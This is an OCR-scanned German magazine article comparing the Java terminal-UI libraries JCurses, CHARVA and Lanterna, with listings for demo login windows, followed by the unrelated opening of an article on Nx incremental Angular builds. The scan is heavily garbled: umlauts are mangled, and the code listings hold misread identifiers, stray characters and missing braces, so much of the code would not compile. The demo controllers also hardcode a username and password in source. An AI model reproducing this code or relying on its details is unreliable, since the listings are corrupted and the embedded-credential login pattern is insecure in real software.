fenster, Dateidialogfenster, Messageboxen, Panels, Lay-
outmanager, Rechtecke, Passwortfelder und Textfelder.

Der Text lasst sich anhand der Klasse CharColor far-
big ausgeben. Zur Verfiigung stehen die acht Grund-
farben, wobei sich der Text zusitzlich schmiicken lisst.
So ist die Ausgabe von fettgedrucktem Text moglich.
Allerdings konnten wir in der Dokumentation keinen
Hinweis darauf finden, dass die Hintergrundfarbe der
Fenster veranderbar ist.

Dariiber hinaus stellt JCurses Audioeffekte zur Verfii-
gung. So konnt ihr iiber die Klasse Toolkit einen Beep-
Ton mittels der Methode beep ausgeben. Jedoch wird
der Beep-Ton nicht von Windows unterstiitzt.

CHARVA

CHARVA [2] ist eine weitere Terminalbibliothek, die
zum Teil iber dieselben Methoden und Klassen ver-
fiigt wie JCurses, zum Beispiel die Methode action-
Performed, die beim Implementieren der Schnittstelle
ActionListener Uberschrieben wird. Leider wurde auch

Listing 2

public class App

{
public static void main( String[] args )

{

new MainView();
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Abb. 2: Das Benachrichtigungsfenster
informiert den User Uber den erfolgrei-
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CHARVA schon lange nicht mehr weiterentwickelt,
genaugenommen wurde das letzte Update 2006 vorge-
nommen.

Allerdings scheint bei CHARVA die Dokumentation
umfangreicher zu sein. So konnt ihr die Hilfe iiber char-
va/docs/index.btml aufrufen. Dort existiert beispiels-
weise ein Link, der hiufig gestellte Fragen beinhaltet.
Auflerdem geht von der Dokumentationsseite ein Link
zur generierten JavaDoc-Hilfe weg. CHARVA stellt zu-
dem ein umfassendes Tutorial bereit. Es befindet sich
unter charvaltest/src/tutorial/charva/Tutorial.java und
ist iber 2 000 Zeilen lang. Jede Menge Beispielcode
kommt darin vor, sodass man es als Benutzer leichter
hat, eine textbasierte grafische Oberfliche zu erstellen.

Fiir die Installation von CHARVA ist es wie auch bei
JCurses erforderlich, den Quellcode zu kompilieren. Da

es sich beim heruntergeladenen CHARVA-Paket um ein
Ant-Projekt handelt, misst ihr zuniachst Ant von Apa-
che [3] installieren. AnschliefSend fiihrt ihr die folgen-
den Schritte aus, um die native Terminal-Library, die
CHARVA zum Funktionieren braucht, zu kompilieren:

1. $ cd charva

2. $ ant compile

3. $ antjavah

4. $ ant compile-test
S. $ ant makeDLL
6. $ cd charva/c/src

7. $ make -f Betriebssystem-Makefile.txt

Im Ordner charva/c/lib sollte sich nach erfolgreicher
Kompilierung die native Terminal-Library libTerminal.

Listing 3

import jeurses.system.*;
import jcurses.widgets.*;
import jeurses.util.*;
import jcurses.event.*;
import java.awt.Rectangle;
import java.io.*;

public class MainView implements WidgetsConstants {
private Window window;
private BorderPanel bp;
private GridLayoutManager managerl;
private GridLayoutManager manager;
private Label _l1 = null;
private Label _[2 = null;
private Button _b1 = null;
private TextField _textField = null;
private PasswordField _pass = null;
private MainVC mvc;

public MainView() {
this.window = new Window(40,40,true,"Login");
this.mvc = new MainVC(this);
Toolkit.beep();
setlayout();
setFields();
this.window.addListener(this.mvc);
this.window.show();

public void setLayout() {
this.bp = new BorderPanel();
this.managerl = new GridLayoutManager(1,1);
this.window.getRootPanel().setLayoutManager(this.managerl);

this.managerl.addWidget(this.bp,0,0,1,1, ALIGNMENT_CENTER ALIGNMENT_CENTERY);
this.manager = new GridLayoutManager(2,5);
this.bp.setLayoutManager(this.manager);
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public void setFields() {
this._1 = new Label("User Name");
this._[2 = new Label("Password");
this._b1 = new Button("0K");
this._b1.addListener(this.mvc);
this._textField = new TextField();
this._pass = new PasswordField();
this.manager.addWidget(this._{1,0,0,1,2, ALIGNMENT_CENTER, :
ALIGNMENT_CENTER);

this.manager.addWidget(this._textField,1,0,1,2, ALIGNMENT_CENTER, :

ALIGNMENT_CENTER);
this.manager.addWidget(this._(2,0,2,1,2, ALIGNMENT_CENTER,
ALIGNMENT_CENTER);

this.manager.addWidget(this._pass,1,2,1,2, ALIGNMENT_CENTER, :
ALIGNMENT_CENTER);

this.manager.addWidget(this._b1,0,4,1,1, ALIGNMENT_CENTER, 5
ALIGNMENT_CENTER); :

public Button getButton() {
return this._b1;

}

public TextField getTxtName() {
return this._textField;

}

public PasswordField getPw() {
return this._pass;

}
public Window getWindow() {
return this.window;
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Listing 4

import jcurses.system.*;
import jcurses.widgets.*;
import jcurses.util.*;
import jcurses.event.*;
import java.awt.Rectangle;
import java.io.*;

public class MainVC implements WindowListener,ActionListener {
private MainView view;
private final static String PASSWORD = "mypw";
private final static String USERNAME = "tino";

public MainVC (MainView view) {
this.view = view;

}

public void windowChanged(WindowEvent event) {
if (event.getType() == WindowEvent.CLOSING) {
event.getSourceWindow().close();
}
}

public void actionPerformed(ActionEvent event) {

Widget w = event.getSource();

if (w == this.view.getButton()) {
String pw = this.view.getPw().getText();
String u = this.view.getTxtName().getText();
checkInput(pw,u);

}else {
setMessage("Please press a button in this window","ERROR","Cancel");

}
}

private boolean isCorrect(String input,String comp) {
if (input.equals(comp)) {
return true;
}else {
return false;
}
}

private void checkInput(String pw,String u) {
boolean isCorrectPw = isCorrect(pw,PASSWORD);
boolean isCorrectUser = isCorrect(u,USERNAME);
if (isCorrectPw && isCorrectUser) {
setMessage("You're now logged in","success","Got it!");
this.view.getWindow().hide();
}else {
setMessage("Your username or password are not :
correct!","ERROR","CANCEL");
} H
}

private void setMessage(String msg,String t,String btn) {
new Message(t, msg, btn).show();

Java-Bibliotheken fur die Konsole

Abb. 3: Das Haupt- und Unterment der CHARVA-Anwendung

so befinden. Wenn ihr ein CHARVA-Projekt erstellt, fiigt
beim Schalter Classpath (-cp) die folgenden Pfade ein:

javac -cp ".:classes:charva/java/dist/lib/charva.jar:charva/java/lib/*" Datei.java

Der erste Pfad zeigt auf die JAR-Datei von CHARVA
und der zweite Pfad beinhaltet Libraries, die CHARVA
braucht, damit sich das CHARVA-Projekt kompilie-
ren lisst. Dabei handelt es sich um Libraries, die von
Apache stammen, wie zum Beispiel die Log4j Library.
Beim Ausfithren des CHARVA-Projekts solltet ihr der
Konsole mitteilen, wo sich die native Terminal-Library
befindet. Unter Linux sieht das dann wie folgt aus:

$ export LD_LIBRARY_PATH=/Pfad/zu/charva/c/lib:$LD_LIBRARY_PATH

Ahnlich wie beim zuvor gezeigten JCurses-Projekt ha-
ben wir ein Anmeldefenster unter CHARVA erstellt. In
Listing 5 wird nicht nur die View aufgerufen, sondern
dem Terminal mitgeteilt, dass es die Farben von CHAR-
VA nutzen soll. Ansonsten gibt das Terminal die GUI-
Elemente nicht in den Farben aus, die ihr festgelegt habt.
Da die MainView-Klasse die CHARVA-Klasse JFrame
erweitert, musst ihr noch die show-Methode ausfiihren,
damit CHARVA das Fenster zeichnet.

In Listing 6 wird das Hauptmenii ACCOUNT mittels
JMenuBar sowie das Untermenti LOGIN TO SERVER mit-
tels JMenultem (Abb. 3) definiert. Um es dem Benutzer
zu ermoglichen, das Hauptmenii oder das Untermenii
iiber einen Shortcut aufzurufen, verwendet ihr die Me-
thode setMnemonic. Die in Abbildung 3 dargestellten
Underscores zeigen an, dass die Meniis tber Shortcuts
erreichbar sind.

Listing 7 beinhaltet die eigentliche View des Anmel-
defensters. Dort werden Instanzen von Klassen erzeugt,
die Eingabefelder erstellen.

Listing 5

public class App
{
public static void main( String[] args )
{
System.setProperty("charva.color","");
MainView view = new MainView();
view.show();
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Das Erzeugen des Anmeldefensters erfolgt im Cont-
roller der Main View-Klasse (Listing 8). Dort wird in der
Methode actionPerformed festgelegt, dass beim Drii-
cken auf den Eintrag LOGIN TO SERVER das Anmelde-
fenster erscheint (Abb. 4).

Abb. 4: Das Anmeldefenster ist eigentlich ein Dialogfenster, das auf
dem Hauptfenster platziert wird

Listing 6

import charva.awt.*;
import charva.awt.event.*;
import charva.awt.util.CapsTextField;
import charvax.swing.*;
import charvax.swing.border.EmptyBorder;
import charvax.swing.border.LineBorder;
import charvax.swing.border.TitledBorder;
import charvax.swing.event.ListDataEvent;
import charvax.swing.event.ListDatalistener;
import charvax.swing.event.ListSelectionEvent;
import charvax.swing.event.ListSelectionListener;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class MainView extends JFrame {
private static final Log LOG = LogFactory.getLog(MainView.class);
private MainVC mvc;
public MainView() {
super("Client App");
this.mvc = new MainVC(this);
setForeground(Color.green);
setBackground(Color.white);
Container contentPane = getContentPane();
contentPane.setLayout(new BorderLayout());
JMenuBar menubar = new JMenuBar();
JMenu jMenuWidgets = new JMenu("Account");
jMenuWidgets.setMnemonic('A’);
JMenultem jMenuItemWidgetText = new JMenultem("Login to Server");
jMenultemWidgetText.setMnemonic('L');
jMenultemWidgetText.addActionListener(this.mvc);
jMenuWidgets.add(jMenultemWidgetText);
menubar.add(jMenuWidgets);
setIMenuBar(menubar);
setLocation(0, 0);
setSize(80, 24);
validate();
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Fiir das Eingabefeld des Benutzernamens wird eine ei-
gene View implementiert. Verantwortlich hierfiir ist die
Klasse TextFieldPanel aus Listing 9.

Das Eingabefeld des Passworts wird ebenfalls in einer
extra View, der Klasse PasswordFieldPanel, definiert
(Listing 10).

Die Eingabefelder firr sowohl den Benutzernamen als
auch fir das Passwort werden in der View TextPanel
erzeugt. Um zu sehen, ob die Benutzereingaben korrekt
sind, existiert hierfiir ein weiterer Controller, namlich

Listing 7

import charva.awt.*;
import charva.awt.event.*;
import charva.awt.util.CapsTextField;
import charvax.swing.*;
import charvax.swing.border.EmptyBorder;
import charvax.swing.border.LineBorder;
import charvax.swing.border.TitledBorder;
import charvax.swing.event.ListDataEvent;
import charvax.swing.event.ListDataListener;
import charvax.swing.event.ListSelectionEvent;
import charvax.swing.event.ListSelectionListener;
public class TextPanel extends JDialog {
private TextFieldPanel txtName;
private PasswordFieldPanel txtPassword;
public TextPanel(Frame owner_) {
super(owner_, "Login to Server");
this.txtName = new TextFieldPanel();
this.txtPassword = new PasswordFieldPanel();
Container contentPane = getContentPane();
JPanel centerpan = new JPanel();
centerpan.setLayout(new GridBagLayout());
GridBagConstraints gbc = new GridBagConstraints();
ghc.gridx = 0;
ghc.gridy = 0;
ghc.gridwidth = 1;
ghc.gridheight = 1;
centerpan.add(this.txtName, ghc);
ghc.gridx = 1;
centerpan.add(this.txtPassword, gbc);
JPanel southpan = new JPanel();
JButton okButton = new JButton("0K");
okButton.addActionListener(new TextPanelVC(this));
southpan.add(okButton);
contentPane.add(centerpan, BorderLayout.CENTER);
contentPane.add(southpan, BorderLayout.SOUTH);
pack();
}
public TextFieldPanel getPanelName() {
return this.txtName;
}
public PasswordFieldPanel getPanelPassword() {
return this.txtPassword;
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TextPanelVC (Listing 11). Er wird in der View TextPa-
nel registriert, weil dort der OK-Button implementiert
wurde.

Abgesehen von der Validierung der Benutzerdaten
gibt der Controller aus Listing 11 eine Meldung aus.
Darin wird der Benutzer informiert, ob seine Eingaben
korrekt waren. Dies wird tiber die Methode setMessage
realisiert. Wie ihr sehen konnt, ist es ziemlich einfach,
ein Benachrichtigungsfenster unter CHARVA zu reali-
sieren (Abb. 5). In der checkInput-Methode wird aufSer-
dem festgelegt, dass das Anmeldefenster verschwindet,
sobald der Benutzer die richtigen Benutzerdaten eingibt.

Lanterna

Lanterna [4] ist die Terminalbibliothek, bei der sich der
Code auf dem neuesten Stand befindet. Zuletzt wurde
Lanterna im August 2020 aktualisiert, sodass mittler-
weile die Version 3.2.0-alphal existiert.

Abgesehen von der Aktualitidt weicht Lanterna auch
in anderen Dingen deutlich von den vorhergehenden
Terminalbibliotheken ab. Da Lanterna ausschliefSlich
aus Java-Code besteht, bedarf es keiner zusitzlichen
Kompilierung. Anstelle von JFrames oder JPanels ver-
fiigt Lanterna tiber drei Ebenen:

1. Terminal: Ermoglicht die Kontrolle tiber den Text
auf dem Terminal. Beispielsweise lassen sich damit
Installationsassistenten implementieren.

Listing 8

import charva.awt.*;
import charva.awt.event.*;
import charva.awt.util.CapsTextField;
import charvax.swing.*;
public class MainVC implements ActionListener {
private MainView view;
public MainVC (MainView view) {
this.view = view;

}

public void actionPerformed(ActionEvent ae_) {
String actionCommand = ae_.getActionCommand();
if (actionCommand.equals("Login to Server")) {
TextPanel dlg = new TextPanel(this.view);
dlg.show();
}else {
JOptionPane.showMessageDialog(this.view, "Menu item \"" + :
actionCommand +
"\" not implemented yet",
"Error",
JOptionPane.PLAIN_MESSAGE);
}
// Trigger garbage-collection after every menu action.
Toolkit.getDefaultToolkit().triggerGarbageCollection(this.view);

}
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2. Screen: Im Gegensatz zum Terminal verfugt die
Screen-Ebene iiber einen Puffer.

3. TextGUI: Beinhaltet textbasierte GUI-Elemente wie
Buttons, Labels, Checkboxen usw.

Ebenso wie die kontinuierliche Weiterentwicklung der
Lanterna-Bibliothek kann sich die Dokumentation

Listing 9

import charva.awt.*;

import charva.awt.event.*;

import charva.awt.util.CapsTextField;
import charvax.swing.*;

import charvax.swing.border.EmptyBorder;
import charvax.swing.border.TitledBorder;

public class TextFieldPanel extends JPanel implements ItemListener {
private JCheckBox _enabled;
private JCheckBox _visible;
private JTextField _textfield;

public TextFieldPanel() {
setLayout(new BorderLayout());
setBorder(new TitledBorder("User name"));

JPanel northpan = new JPanel();
_enabled = new JCheckBox("Enabled");
_enabled.setSelected(true);
_enabled.addItemListener(this);
northpan.add(_enabled);

_visible = new JCheckBox("Visible");
_visible.setSelected(true);
_visible.addItemListener(this);
northpan.add(_visible);

JPanel southpan = new JPanel();

_textfield = new JTextField("This is some text.....");
_textfield.setBorder(new EmptyBorder(1, 1, 1, 1));
southpan.add(_textfield);

add(northpan, BorderLayout.NORTH);
add(southpan, BorderLayout.SOUTH);

public void itemStateChanged(ItemEvent e_) {
if (e_.getSource() == _enabled) {
_textfield.setEnabled(_enabled.isSelected());
}else {
_textfield.setVisible(_visible.isSelected());
}
}

public JTextField getTextField() {
return this._textfield;
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von Lanterna sehen lassen. Neben einer generierten
JavaDoc-Dokumentation [5] gibt es ein Tutorial, das
die drei Ebenen behandelt. Sobald ihr den Lanterna-
Quellcode heruntergeladen habt, gelangt ihr tiber den
Pfad lanterna-master/docs/tutorial/ zum Tutorial. Die
dazugehorigen Java-Dateien sind im Pfad lanterna-

Listing 10

import charva.awt.*;

import charva.awt.event.*;

import charva.awt.util.CapsTextField;
import charvax.swing.*;

import charvax.swing.border.EmptyBorder;
import charvax.swing.border.TitledBorder;

public class PasswordFieldPanel extends JPanel implements ItemListener {
private JCheckBox _enabled; i
private JCheckBox _visible;
private JPasswordField _textfield;

public PasswordFieldPanel() {
setlayout(new BorderLayout());
setBorder(new TitledBorder("Password"));

JPanel northpan = new JPanel();
_enabled = new JCheckBox("Enabled");
_enabled.setSelected(true);
_enabled.addItemListener(this);
northpan.add(_enabled);

_visible = new JCheckBox("Visible");
_visible.setSelected(true);
_visible.addItemListener(this);
northpan.add(_visible);

JPanel southpan = new JPanel();

_textfield = new JPasswordField("This is some text.....");
_textfield.setBorder(new EmptyBorder(1, 1, 1, 1));
southpan.add(_textfield);

add(northpan, BorderLayout.NORTH);
add(southpan, BorderLayout.SOUTH);

}

public void itemStateChanged(ItemEvent e_) {
if (e_.getSource() == _enabled) {
_textfield.setEnabled(_enabled.isSelected());
}else {
_textfield.setVisible(_visible.isSelected());
}
}

public JPasswordField getPassword() {
return this._textfield;
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master/srcltest/javalcoml/googlecodellanternaltutorial/
abgelegt. Abgesehen vom Tutorial existieren weitere
Hilfen. So stehen im Pfad lanterna-master/docs/ex-
amples/ Beispielcodes samt dazugehorigen Screenshots
zur Verfiigung. Die Beispielschnipsel sind deshalb gut
geeignet, weil sie sich auf Anhieb ins Lanterna-Projekt
integrieren lassen.

Fir das Lanterna-Projekt empfiehlt es sich, die Lan-
terna-Bibliothek in Form einer JAR-Datei vom Maven
Repository [6] herunterzuladen oder ins Maven-Projekt

Listing 11

public class TextPanelVC implements ActionListener {
private TextPanel view;
private final static String PASSWORD = "mypw";
private final static String USERNAME = "tino";

public TextPanelVC (TextPanel view) {
this.view = view;
}
public void actionPerformed(ActionEvent ae_) {
if (ae_.getActionCommand().equals("0K")) {
String inputPassword = this.view.getPanelPassword().getPassword(). ~ :
getText(); :
String inputName = this.view.getPanelName().getTextField().getText(); :
checkInput(inputPassword,inputName);
}
// Trigger garbage-collection after every menu action.
Toolkit.getDefaultToolkit().triggerGarbageCollection(this.view);
}
private void setMessage(String msg,String t) {
JOptionPane.showMessageDialog(this.view, msg, t,JOptionPane. :
PLAIN_MESSAGE); :

private boolean isCorrect(String input,String comp) {
if (input.equals(comp)) {
return true;
} else {
return false;

}

private void checkInput(String pw,String u) {
boolean isCorrectPw = isCorrect(pw,PASSWORD);
boolean isCorrectUser = isCorrect(u, USERNAME);
if (isCorrectPw && isCorrectUser) {
setMessage("You're now logged in","success");
this.view.hide();
} else {

setMessage("Your username or password are not correct!","ERROR");
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Abb. 5: Das Benachrichtigungsfenster wird in CHARVA mit nur einer
Zeile Code realisiert

einzubinden. Zum Kompilieren oder Ausfiihren des
Lanterna-Projekts gebt ihr beim Classpath den Pfad zur
JAR-Datei an:

javac -cp ".:classes:/Pfad/zu/lanterna.jar" * java

Listing 12

public class App

{
public static void main( String[] args )

{

MyScreen screen = new MyScreen();
MainView view = new MainView(screen);

Listing 13

import java.io.I0Exception;

import com.googlecode.lanterna.screen.Screen;

import com.googlecode.lanterna.terminal.DefaultTerminalFactory;
import com.googlecode.lanterna.qui2.*;

import com.googlecode.lanterna.terminal.Terminal;

import com.googlecode.lanterna.TextColor;

import com.googlecode.lanterna.screen.*;

public class MyScreen{
private Terminal terminal;
private DefaultTerminalFactory terminalFactory;
private Screen screen;
private WindowBasedTextGUI textGUL;

public MyScreen() {
setupTerminal();
setupScreen();
setupGui();

}

public void setupTerminal() {
this.terminalFactory = new DefaultTerminalFactory();

try {
this.terminal = this.terminalFactory.createTerminal();

javamagazin 1212020

Genauso wie bei den zuvor behandelten Terminalbib-
liotheken implementieren wir als Beispielanwendung
ein Anmeldefenster unter Lanterna. In Listing 12 wird
jeweils eine Instanz von den drei Ebenen in der Klasse
MyScreen erzeugt, ehe die View ausgegeben wird.

In Listing 13 werden nacheinander die Terminal- und
die Screen-Ebene gestartet. Anschlieffend wird eine In-
stanz vom Typ MultiWindowTextGUI erzeugt, die es
ermoglicht, textbasierte GUI-Elemente auszugeben.

In der Methode setupGui aus Listing 13 wurde nicht
nur die textbasierte grafische Oberfliche gestartet, son-
dern zusitzlich die Hintergrundfarbe mittels der Klasse
TextColor fiir die Lanterna-Anwendung definiert.

In Listing 14 dreht sich alles um die Darstellung des
Anmeldefensters. Um das Anmeldefenster zu erstellen,
braucht ihr zunichst eine Instanz vom Typ Panel. Das
Panel konnt ihr mit einem Layoutmanager verkniipfen,
in unserem Fall verwenden wir ein GridLayout, be-
stehend aus zwei Spalten. Da die Benutzerdaten beim
Driicken auf den SuBmrT-Button tiberpriift werden, legt
ihr in einer Methode vom Typ Runnable fest, welche
Schritte dabei vorgenommen werden (siehe getAction-
Methode). Danach legt ihr noch eine Instanz vom Typ
BasicWindow an und gebt dabei den Titel des Fens-
ters an. Anschliefend verkniipft ihr das Panel mit dem
Window und fiigt das Window zur textGUI (siehe
MyScreen-Klasse in Listing 13) hinzu, damit es ausge-
geben wird.

Abbildung 6 stellt das aus Listing 14 generierte An-
meldefenster dar. Die Farben der Labels und Einga-

} catch(IOException e) {
throw new RuntimeException(e);
}
}

public void setupScreen() {
try {
this.screen = new TerminalScreen(this.terminal);
this.screen.startScreen();
} catch(I0Exception e) {
throw new RuntimeException(e);
}
}
public void setupGui() {
this.textGUI = new MultiWindowTextGUI(this.screen, new :
DefaultWindowManager(), new EmptySpace(TextColor.ANSL.DEFAULT));
) :
public WindowBasedTextGUI getTextGui() {
return this.textGUL;
}
public Screen getScreen() {
return this.screen;

www.]AXenter.de



befelder lassen sich bei Lanterna iiber die Methoden
setForegroundColor und setBackgroundColor definie-
ren. Ein extra Eingabefeld fiir Passworter gibt es zwar
nicht, jedoch lisst sich mittels der Methode setMask die
Eingabe des Anwenders maskieren.

Im Controller der MainView (Listing 15) sind die
Methoden deklariert, die fiir die Uberpriifung der Be-
nutzerdaten erforderlich sind. Verglichen mit CHARVA
oder JCurses wird bei Lanterna keine Schnittstelle ei-
nes Listeners implementiert. Stattdessen geht man un-
ter Lanterna gleich ans Eingemachte. So wird in der
checkInput-Methode festgelegt, dass bei erfolgreichem
Log-in die Anwendung beendet wird. Hierbei reicht es
aus, das Fenster aus der textGUI zu entfernen. Daneben
stellt Lanterna noch weitere Methoden zur Verfiigung,
um eine Anwendung zu beenden.

Lanterna ermoglicht es auflerdem, den Anwender
tiber Benachrichtigungen zu informieren. Hierfiir wird

Listing 14

import com.googlecode.lanterna.gui2.*;

import com.googlecode.lanterna.qui2.dialogs.*;

import com.googlecode.lanterna.TextColor;

import com.googlecode.lanterna.TerminalSize;

import com.googlecode.lanterna.input.*;

import com.googlecode.lanterna.screen.TerminalScreen;

public class MainView {
private MyScreen screen;
private TextBox txtName;
private TextBox txtPass;
private BasicWindow window;
private MainVC mvc;

public MainView(MyScreen screen) {
this.screen = screen;
this.mvc = new MainVC(this);
setupWindow();

}

public void setupWindow() {
Button button = new Button("Submit",getAction(this.screen, this,
this.mvc));
this.txtName = new TextBox();
this.txtPass = new TextBox();
Panel panel = new Panel();
panel.setLayoutManager(new GridLayout(2));
panel.addComponent(new Label("User name").
setForegroundColor(TextColor.ANSI.GREEN).setBackgroundColor
(TextColor. ANSL.WHITE));
panel.addComponent(this.txtName);
panel.addComponent(new Label("Password").
setForegroundColor(TextColor.ANSI.GREEN).setBackgroundColor
(TextColor. ANSL.WHITE));
panel.addComponent(this.txtPass.setMask("*"));
panel.addComponent(new EmptySpace(new TerminalSize(0,0)));
panel.addComponent(button);
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eine eigene Klasse
namens MyMsgBox
(Listing 16) erstellt.
Zunichst legt ihr eine
Instanz vom Typ Mes-
sageDialogBuilder an
(siehe setDialog) und
definiert das Dialog-
fenster weiter (siche

Tools

Abb. 6: Lanterna passt das Fenster
an die GroRe der GUI-Elemente an

setupDialog). AuSerdem teilt ihr der textG UI noch mit,
dass das Dialogfenster zusitzlich angezeigt wird (siehe

showDialog).

Das Benachrichtigungsfenster konnt ihr in Abbil-
dung 7 sehen. Lanterna beinhaltet zudem vordefinierte
Buttons, wie zum Beispiel den OK-Button im Dia-
logfenster (siehe MessageDialogButton.OK), sodass
ihr euch nicht um die Implementierung zu kiimmern

braucht.

this.window = new BasicWindow("Login to Server");

this.window.setComponent(panel);

this.screen.getTextGui().addWindowAndWait(this.window);
}

public Runnable getAction(MyScreen s,MainView v,MainVC mvc) {
return new Runnable() {
public void run() {
try {
String strName = v.getTxtName().getText();
String strPass = v.getTxtPass().getText();
mvc.checkInput(strPass,strName);
} catch(Exception e) {
e.getMessage();

}

1t

1

public TextBox getTxtName() {
return this.txtName;

}

public TextBox getTxtPass() {
return this.txtPass;

}

public MyScreen getScreen() {
return this.screen;

}

public BasicWindow getWindow() {
return this.window;

}

public MainVC getMvc() {
return this.mvc;
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Abb. 7: Laterna platziert das Benachrichtigungsfenster direkt in der
Mitte des Terminals

Fazit

Die Frage, welches nun die beste Terminalbibliothek ist,
lasst sich nicht eindeutig beantworten. Wer Wert auf die
bekannten Methoden von Java Swing legt, fur den ist
sicherlich CHARVA geeignet. Allerdings ist die Aktua-
lisierung des Codes von CHARVA schon eine Weile her.
Von daher sollte man unbedingt Lanterna in Betracht
ziehen, zumal es sehr umfangreich ist und ein Tutorial

Listing 15

public class MainVC {
private MainView view;
private final static String PASSWORD = "mypw";
private final static String USERNAME = "tino";

public MainVC(MainView v) {
this.view = v;

}

public boolean isCorrect(String input,String comp) {
if (input.equals(comp)) {
return true;
}else {
return false;

Listing 16

import com.googlecode.lanterna.qui2.*;
import com.googlecode.lanterna.qui2.dialogs.*;
import com.googlecode.lanterna.screen.Screen;
import com.googlecode.lanterna.qui2.dialogs.MessageDialogButton;
public class MyMsgBox {
private MyScreen screen;
private MessageDialogBuilder box;
public MyMsgBox(MyScreen s,String title, String descr) {
this.screen =s;
this.setDialog();
this.setupDialog(title, descr,MessageDialogButton.0K);
this.showDialog();
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zur Verfiigung stellt. Verglichen mit CHARVA scheint
bei Lanterna allerdings die Implementierung von Short-
cuts komplizierter zu sein.

Anzela Minosi ist freiberufliche Autorin und bietet IT-Dienstleistun-
gen auf Fiverr an. Zehn Jahre lang war sie in der Automobil-, Bil-
dungs- und Telekommunikationsbranche in Support, Softwaretests
und Webentwicklung tatig.
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[2] http://sourceforge.net/ projects/charva

[3] https://ant.apache.org

[4] https://github.com/mabe02/lanterna

[5] http://mabe02.github.io/lanterna/apidocs/3.0/

[6] https://mvnrepository.com/artifact/com.googlecode.lanterna/lanterna

public void checkInput(String pw,String u) {
boolean isCorrectPw = isCorrect(pw,PASSWORD);
boolean isCorrectUser = isCorrect(u,USERNAME);
if (isCorrectPw && isCorrectUser) {
new MyMsgBox(this.view.getScreen(),"SUCCESS", "You're now logged ~ :
in!");

this.view.getScreen().getTextGui().removeWindow(this.view. :
getWindow());
}else { :
new MyMsgBox(this.view.getScreen(),"ERROR", "Your username or :
password are not correct!");

public void setDialog() {
this.box = new MessageDialogBuilder();
1
public void showDialog() {
this.box.build()
.showDialog(this.screen.getTextGui());
1
public void setupDialog(String title, String descr,MessageDialogButton btn) {
this.box.setTitle(title)
.setText(descr)
.addButton(btn);
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Blitzschnelle Angular Builds

Inkrementelle Builds und Output-Caching mit Nx

Blitzschnelle
Angular Builds

Nx erkennt geanderte Programmteile und baut auch nur diese erneut. Alle anderen
Systembestandteile werden aus einem Cache bezogen. Damit lasst sich der Build-

Vorgang enorm beschleunigen.

von Manfred Steyer

Moderne Frontends werden immer grofler und das wirkt
sich auch auf die Build-Zeiten aus. Mit inkrementellen
Builds lassen sie sich in den Griff bekommen. Somit
miissen nur jene Teile, die von Anderungen betroffen
sind, neu gebaut werden. Der Rest kommt aus einem
Cache. Diese Strategie, die bei Google schon seit Jah-
ren erfolgreich eingesetzt wird, benotigt entsprechende
Werkzeuge. Nx [1] ist ein solches. Es ist frei verfiigbar
und basiert auf der Angular CLI. In diesem Artikel wird
gezeigt, wie sich Nx zum inkrementellen Kompilieren
von Angular-Anwendungen einsetzen ldsst. Das verwen-
dete Beispiel findet sich in meinem GitHub-Account [2].

Fallstudie

Die hier verwendete Fallstudie basiert auf einem Nx-
Workspace. Er ist in eine Anwendung flights und drei
Bibliotheken untergliedert (Abb. 1).

Nx ist in der Lage, jede Bibliothek separat zu kom-
pilieren. Bibliotheken, die sich nicht geiandert haben,
kann es einem Cache entnehmen. Das ist der Schliissel

Abb. 1: Fallstudie

fir den inkrementellen Build. Kommt Domain-driven
Design zum Einsatz, konnte der Nx-Workspace jede
Domine durch solch eine Gruppe mit Bibliotheken re-
prasentieren. In diesem Fall kann Nx mit Zugriffsein-
schrankungen eine lose Kopplung zwischen Doméanen
sicherstellen [3]. Zum Einrichten eines solchen Work-
spaces steht der folgende Befehl zur Verfiigung:

npm init nx-workspace flights

Er ladt die neueste Version von Nx herunter und gene-
riert damit einen Workspace. Im Zuge dessen sind ein
paar Fragen zu beantworten (Abb. 2).

Diese Anweisung erzeugt auch innerhalb des Work-
spaces eine erste Angular-Anwendung. AufSerdem initia-
lisiert Nx fiir den Workspace ein lokales Git Repository.
Dessen History nutzt es spiter, um herauszufinden,
welche Dateien gedndert wurden. Fiir einige Vergleiche
nutzt Nx auch den Hauptzweig. Sein Name kann in der
nx.json-Datei festgelegt werden:

"affected": {
"defaultBase": "main"

12

Mit dem Angular CLI lassen sich nun die Bibliotheken
erzeugen:

ng g lib domain --directory luggage --buildable
ng g lib feature-checkin --directory luggage --buildable

Die Schalter directory und buildable kommen von Nx.
Ersterer gibt das Verzeichnis an, in dem die Bibliothek
zu erstellen ist. Beim Einsatz von DDD spiegelt es die
jeweilige Domine wider. Letzterer gibt an, dass die Bi-
bliothek gebaut werden kann. Das ist notwendig fir in-
krementelle Builds. Als Alternative zu --buildable kann
auch --publishable verwendet werden (Kasten: ,,--pub-

lishable“).
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Abb. 2: Erzeugung eines neuen Nx-Workspace fir Angular-Projekte

Das Erzeugen von Bibliotheken und Dominen lasst
sich mit dem Nx-Plug-in @angular-architects/ddd [5]
automatisieren. Es erzeugt auch die notigen Verweise
zwischen den Bibliotheken und konfiguriert die oben
erwihnten Zugriffseinschrinkungen.

Inkrementelle Builds

Um in den Genuss von inkrementellen Builds zu kom-
men, ist anstatt des Angular CLI das Nx CLI zu verwen-
den. Es ldsst sich via npm installieren:

npm i -g nx

Der Aufruf zum Kompilieren gleicht jenem des Angular
CLIL

nx build luggage --with-deps

Neu ist jedoch der Schalter with-deps. Er veranlasst Nx
dazu, jede Bibliothek separat zu kompilieren und das
Ergebnis zu cachen. Wird diese Anweisung ein weiteres
Mal ausgefiihrt, erhilt man blitzschnell das Ergebnis aus
dem Cache. Liegen hingegen Anderungen an einigen Bi-
bliotheken vor, werden zumindest die nicht geinderten
Bibliotheken aus dem Cache bezogen. Um das zu ver-
anschaulichen, bietet es sich an, den aktuellen Stand zu
committen:

git add *
git commit -m ‘init’

Wird nun zum Beispiel die Bibliothek luggage-feature-
checkin geandert, kann Nx das durch einen Blick in die
Git History herausfinden. Diese Erkenntnis ldsst sich
auch mit

nx affected:dep-graph

visualisieren (Abb. 3).

Wie dieser Graph zeigt, ermittelt Nx nicht nur die ge-
anderten Systembestandteile, sondern auch die, die von
diesen Anderungen betroffen sind. Das sind alle, die von
den gednderten abhingig sind. All diese gilt es nun, neu
zu bauen. Ein nochmaliger Aufruf von

nx build luggage --with-deps

kiimmert sich darum (Abb. 4).

Abb. 3: Abhangigkeitsgraph mit betroffenen Bibliotheken

Wie der aus Platzgrinden etwas gekuirzte Screenshot
zeigt, baut Nx tatsiachlich nur die beiden betroffenen
Systembestandteile.

Output-Cache

